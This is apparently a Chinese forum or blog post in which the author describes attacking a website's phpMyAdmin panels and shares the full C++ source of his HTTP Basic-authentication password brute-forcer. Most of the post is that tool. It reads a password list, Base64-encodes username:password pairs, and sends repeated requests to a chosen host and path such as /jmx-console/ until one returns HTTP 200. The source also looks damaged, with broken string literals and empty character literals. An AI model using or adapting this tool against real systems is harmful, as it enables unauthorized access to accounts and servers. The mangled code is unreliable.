401认证爆破工具

最近在渗透一个网站，几个PHPMYADMIN用的都是401认证，于是就想自己写一个把，反正在内网也要用到的。

代码写的很渣渣，如果大家在使用中有什么问题，可以告诉我，我来改正。

// Basic.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <Windows.h>
#include <stdio.h>
#include <iostream>
#include "Basic.h"
#include <winhttp.h>
#include <comdef.h>
#pragma comment (lib,"Winhttp.lib")

const char base[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";  
char* base64_encode(const char* data, int data_len);

char *base64_encode(char* data, int data_len)    //base64_encode function
{   
	//int data_len = strlen(data);   
	int prepare = 0;   
	int ret_len;   
	int temp = 0;   
	char *ret = NULL;   
	char *f = NULL;   
	int tmp = 0;   
	char changed[4];   
	int i = 0;   
	ret_len = data_len / 3;   
	temp = data_len % 3;   
	if (temp > 0)   
	{   
		ret_len += 1;   
	}   
	ret_len = ret_len*4 + 1;   
	ret = (char *)malloc(ret_len);   

	if ( ret == NULL)   
	{   
		printf("No enough memory.
");   
		exit(0);   
	}   
	memset(ret, 0, ret_len);   
	f = ret;   
	while (tmp < data_len)   
	{   
		temp = 0;   
		prepare = 0;   
		memset(changed, '', 4);   
		while (temp < 3)   
		{   
			//printf("tmp = %d
", tmp);   
			if (tmp >= data_len)   
			{   
				break;   
			}   
			prepare = ((prepare << 8) | (data[tmp] & 0xFF));   
			tmp++;   
			temp++;   
		}   
		prepare = (prepare<<((3-temp)*8));   
		//printf("before for : temp = %d, prepare = %d
", temp, prepare);   
		for (i = 0; i < 4 ;i++ )   
		{   
			if (temp < i)   
			{   
				changed[i] = 0x40;   
			}   
			else   
			{   
				changed[i] = (prepare>>((3-i)*6)) & 0x3F;   
			}   
			*f = base[changed[i]];   
			//printf("%.2X", changed[i]);   
			f++;   
		}   
	}   
	*f = '';   

	return ret;   

} 

static char find_pos(char ch)     
{   
	char *ptr = (char*)strrchr(base, ch);//the last position (the only) in base[]   
	return (ptr - base);   
}  

int request_http(wchar_t* Host, int Port,wchar_t* HostPath,wchar_t* Send_result) //send_http function
{
    DWORD dwSize = sizeof(DWORD);
    DWORD dwStatusCode = 0;
    BOOL  bResults = FALSE;
    HINTERNET hSession = NULL,
    hConnect = NULL,
    hRequest = NULL;
	 wchar_t* lpOutBuffer = NULL;
	LPSTR pszOutBuffer;
	DWORD dwDownloaded = 0;
    // Use WinHttpOpen to obtain a session handle.

		hSession = WinHttpOpen(L"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36", 
			WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
			WINHTTP_NO_PROXY_NAME, 
			WINHTTP_NO_PROXY_BYPASS,
			0 );

		// Specify an HTTP server.
		if( hSession )
			hConnect = WinHttpConnect( hSession,
			Host,
			Port,
			0 );

		// Create an HTTP Request handle.
		if( hConnect )
			hRequest = WinHttpOpenRequest( hConnect,
			L"GET",HostPath,  // /invoker/JMXInvokerServlet
			NULL,
			WINHTTP_NO_REFERER, 
			WINHTTP_DEFAULT_ACCEPT_TYPES,
			0 );
		// Add a request header.
		if( hRequest )
			bResults = WinHttpAddRequestHeaders( hRequest,
			//L"Authorization:Basic YWRtaW46YWztaW4="
			Send_result
			,(ULONG)-1L,WINHTTP_ADDREQ_FLAG_ADD );

		bResults = WinHttpAddRequestHeaders( hRequest, 
			L"Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",(ULONG)-1L,WINHTTP_ADDREQ_FLAG_ADD );

		if( bResults ) 
			bResults = WinHttpSendRequest( hRequest, 
			WINHTTP_NO_ADDITIONAL_HEADERS,
			0,
			NULL,0,
			NULL,
			0 );

		// Report any errors.
		if( bResults )
			bResults = WinHttpReceiveResponse( hRequest, NULL );

		if (bResults)
		{
			Sleep(100);
			WinHttpQueryHeaders( hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF,
				WINHTTP_HEADER_NAME_BY_INDEX, NULL,
				&dwSize, WINHTTP_NO_HEADER_INDEX);

			// Allocate memory for the buffer.
			if( GetLastError( ) == ERROR_INSUFFICIENT_BUFFER )
			{
				lpOutBuffer = new WCHAR[dwSize/sizeof(WCHAR)];

				// Now, use WinHttpQueryHeaders to retrieve the header.
				bResults = WinHttpQueryHeaders( hRequest,
					WINHTTP_QUERY_RAW_HEADERS_CRLF,
					WINHTTP_HEADER_NAME_BY_INDEX,lpOutBuffer, &dwSize,
					WINHTTP_NO_HEADER_INDEX);
			}
		}

		if (bResults)
		{
			wchar_t* Servers;
			Servers = wcsstr(lpOutBuffer,L"HTTP/1.1 200");
			if (Servers != NULL)
			{
				printf("Password Crack susccessful
");
				exit(0);
			}
			//delete[] lpOutBuffer;
		}
/*
		if( bResults )
		{
			do 
			{
				// Check for available data.
				dwSize = 0;
				if( !WinHttpQueryDataAvailable( hRequest, &dwSize ) )
					printf( "Error %u in WinHttpQueryDataAvailable.
",
					GetLastError( ) );

				// Allocate space for the buffer.
				pszOutBuffer = new char[dwSize+1];
				if( !pszOutBuffer )
				{
					printf( "Out of memory
" );
					dwSize=0;
				}
				else
				{
					// Read the data.
					ZeroMemory( pszOutBuffer, dwSize+1 );

					if( !WinHttpReadData( hRequest, (LPVOID)pszOutBuffer, 
						dwSize, &dwDownloaded ) )
						printf( "Error %u in WinHttpReadData.
", GetLastError( ) );
					else
						//printf("xxxx");
						printf( "%s", pszOutBuffer );

					// Free the memory allocated to the buffer.
					delete [] pszOutBuffer;
				}
			} while( dwSize > 0 );
		}
*/

		// Report any errors.
		if( !bResults )
			printf( "Error %d has occurred.
", GetLastError( ) );

		// Close open handles.
		if( hRequest ) WinHttpCloseHandle( hRequest );
		if( hConnect ) WinHttpCloseHandle( hConnect );
		if( hSession ) WinHttpCloseHandle( hSession );
		return 0;
}



int main(int argc,char* argv[])
{

	if (argc < 5)
	{
		printf("[-]:Usage %s Crack Basic authentication T00ls
",argv[0]);
		printf("[-]:Usage %s 1.0.0.1 8080 /jmx-console/ Admin
",argv[0]);
		printf("[-]:Usage %s Warning:Not supported by HTTPS
",argv[0]);
		return 0;
	}

	char input[255] = {0}; //input base64 string
	char* strings; //output base64encode string
	char buffer[MAX_PATH] = {0};
	wchar_t Send_result[1024] = {0};
	int i = 0;
	
	wchar_t Hostname[40] = {0};
	wchar_t HostPath[100] = {0};
	wsprintf(Hostname,L"%S",argv[1]);
	//printf("Hostname = %S",Hostname);

	int port = atoi(argv[2]);
	wsprintf(HostPath,L"%S",argv[3]);

	char *Username = argv[4];

	FILE* fp = fopen("pass.txt","rb"); //fopen filesName
	if (fp == NULL)
	{
		printf("Read files:pass.txt Error :%d
",GetLastError());
		return 0;
	}

	memset(buffer,0,sizeof(MAX_PATH));
	while ((fgets(buffer,MAX_PATH,fp)))
	{
		//buffer[strlen(buffer) - 1] = '';
// 		if (buffer[strlen(buffer) - 1] = '
')
// 		{
// 			buffer[strlen(buffer) - 1] = '';
// 		}
		int slen = 0;
		slen = strlen(buffer);
		if (buffer[slen -1] == '
')
		{
			buffer[slen -1] = '';
		}
		ZeroMemory(input,sizeof(input));
		sprintf(input,"%s:%s",Username,buffer);
		strings = base64_encode(input,strlen(input)-1);
		memset(Send_result,0,sizeof(Send_result));
		//printf("%s
",strings);
		wsprintfW(Send_result,L"Authorization:Basic %S",strings);
		printf("Crack:%S->%d->%S->Password Line:%d->%s
",Hostname,port,HostPath,++i,input);
		request_http(Hostname,port,HostPath,Send_result);
	}
	//free(strings);
	fclose(fp);
}